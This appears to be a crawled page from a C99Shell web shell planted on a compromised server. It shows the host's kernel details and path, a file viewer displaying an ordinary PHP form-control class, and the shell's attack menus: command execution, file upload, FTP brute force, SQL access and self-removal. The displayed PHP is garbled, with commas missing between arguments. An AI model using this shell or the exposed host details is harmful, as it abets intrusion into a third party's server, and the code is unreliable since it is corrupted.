!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/classes/controls/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     TextAreaField.php (2.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require_once getabspath('classes/controls/TextControl.php');
class 
TextAreaField extends TextControl
{
    function 
__construct($field$pageObject$id$connection)
    {
        
EditControl::__construct($field$pageObject$id$connection);
        
$this->format EDIT_FORMAT_TEXT_AREA;
    }

    function 
buildControl($value$mode$fieldNum$validate$additionalCtrlParams$data)
    {
        
parent::buildControl($value$mode$fieldNum$validate$additionalCtrlParams$data);

        
$nHeight $this->pageObject->pSetEdit->getNRows($this->field);
        if(
$this->pageObject->pSetEdit->isUseRTE($this->field))
        {
            
$value $this->RTESafe($value);
            
// creating src url
            
$browser "";
            if(@
$_REQUEST["browser"]=="ie")
                
$browser "&browser=ie";

            
// add JS code
            
echo "<iframe frameborder=\"0\" vspace=\"0\" hspace=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" id=\""
                
.$this->cfield."\" ".(($mode==MODE_INLINE_EDIT || $mode==MODE_INLINE_ADD) && $this->is508==true "alt=\""
                
.$this->strLabel."\" " "")."name=\"".$this->cfield."\" title=\"Basic rich text editor\" style='";
            echo 
"width: 100%; min-width:480px; height: " . ($nHeight+100) . "px;'";
            echo 
" src=\"".
                
GetTableLink(
                    
"rte"
                    
""
                    
"ptype=".$this->pageObject->pageType.
                        
"&page=".$this->pageObject->pageName.
                        
"&table=".GetTableURL($this->pageObject->tName).
                        
"&id=".$this->id.
                        
"&".$this->iquery.$browser.
                        
"&".($mode==MODE_ADD || $mode==MODE_INLINE_ADD "action=add" '')
                    ).
                
"\">";
            echo 
"</iframe>";
        }
        else
        {
            
$classString "";
            
$style 'height: '.$nHeight.'px;';
            if( 
$this->pageObject->isBootstrap() )
            {
                
$classString " class=\"form-control\"";
            }
            echo 
'<textarea '.$this->getPlaceholderAttr().' id="'.$this->cfield.'" '.$classString.' alt="' .$this->strLabel '" name="'.$this->cfield.'" style="' $style '">'.runner_htmlspecialchars($value).'</textarea>';
        }

        
$this->buildControlEnd($validate$mode);
    }

    function 
getFirstElementId()
    {
        return 
$this->cfield;
    }
    
    
/**
     * returns safe code for preloading in the RTE
     * @intellisense
     * @param String text
     * @return String
     */
    
protected function RTESafe($text)
    {
        
$tmpString trim($text);
        if(!
$tmpString)
            return 
"";

        
//    convert all types of single quotes
        
$tmpString str_replace("'""&#39;"$tmpString);

        
//    replace carriage returns & line feeds
        
$tmpString str_replacechr(10), " "$tmpString );
        
$tmpString str_replacechr(13), " "$tmpString );

        return 
$tmpString;
    }

    
/**
     * @intellisense
     */
    
protected function CreateCKeditor($value)
    {
        echo 
'<div id="disabledCKE_'.$this->cfield.'">'
            
.'<textarea id="'.$this->cfield.'" name="'.$this->cfield.'" rows="8" cols="60">'
                
.runner_htmlspecialchars($value)
            .
'</textarea>'
            
.'</div>';
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0021 ]--